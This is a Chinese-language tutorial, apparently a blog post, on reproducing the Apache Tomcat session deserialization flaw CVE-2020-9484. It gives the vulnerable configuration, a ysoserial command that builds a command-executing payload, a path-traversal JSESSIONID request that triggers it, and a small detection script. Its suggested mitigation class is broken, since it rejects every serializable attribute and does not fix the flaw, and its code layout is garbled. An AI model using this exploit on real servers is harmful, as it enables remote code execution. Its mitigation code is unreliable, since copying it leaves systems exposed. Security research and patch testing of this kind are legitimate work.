# 如何進行CVE-2020-9484 TomcatSession反序列化復現
## 漏洞概述
CVE-2020-9484是Apache Tomcat中的一個高危反序列化漏洞,影響版本包括:
- 10.0.0-M1至10.0.0-M4
- 9.0.0.M1至9.0.34
- 8.5.0至8.5.54
- 7.0.0至7.0.103
當Tomcat配置了**PersistentManager**并啟用**FileStore**存儲會話時,攻擊者可通過精心構造的惡意session對象實現遠程代碼執行(RCE)。
## 環境搭建
### 1. 準備漏洞環境
```bash
# 下載受影響版本的Tomcat(示例使用8.5.54)
wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.54/bin/apache-tomcat-8.5.54.tar.gz
tar -xvf apache-tomcat-8.5.54.tar.gz
cd apache-tomcat-8.5.54
修改conf/context.xml
:
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"
directory="/path/to/sessions"/>
</Manager>
在webapps/ROOT/WEB-INF/web.xml
中添加:
<distributable/>
使用ysoserial生成Payload(示例使用CommonsCollections2):
java -jar ysoserial.jar CommonsCollections2 "touch /tmp/pwned" > session.ser
將序列化文件上傳至FileStore目錄后,通過Cookie控制session ID:
GET / HTTP/1.1
Host: vulnerable-server:8080
Cookie: JSESSIONID=../../../../../../../../path/to/sessions/exp
檢查目標服務器是否創建文件:
ls -la /tmp/pwned
漏洞產生于三個關鍵條件同時滿足: 1. PersistentManager啟用:會話持久化到存儲系統 2. FileStore配置:會話數據以文件形式存儲 3. 可預測的session路徑:攻擊者可控制session文件位置
攻擊鏈:
惡意序列化數據 -> 文件上傳 -> Session反序列化 -> RCE
// 實現自定義Session管理器時添加過濾
public class SafeManager extends ManagerBase {
@Override
protected void checkSessionAttribute(String name, Object value) {
if (value instanceof Serializable) {
throw new IllegalArgumentException("Unsafe serialization attempt");
}
}
}
import requests
def check_cve_2020_9484(url):
try:
res = requests.get(f"{url}/", cookies={"JSESSIONID": "../../../test"})
return "java.io.FileNotFoundException" in res.text
except:
return False
本文僅用于安全研究目的,未經授權不得對實際系統進行測試。根據《網絡安全法》第二十七條,任何個人和組織不得從事非法侵入他人網絡等危害網絡安全的活動。
作者:安全研究員
更新日期:2023年11月
關鍵詞:Apache Tomcat, 反序列化, RCE, 漏洞復現 “`
注:實際復現時需注意: 1. 確保測試環境隔離 2. 不同Tomcat版本可能需要調整Payload 3. 文件路徑需要根據實際環境修改 4. 建議使用docker容器快速搭建測試環境
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。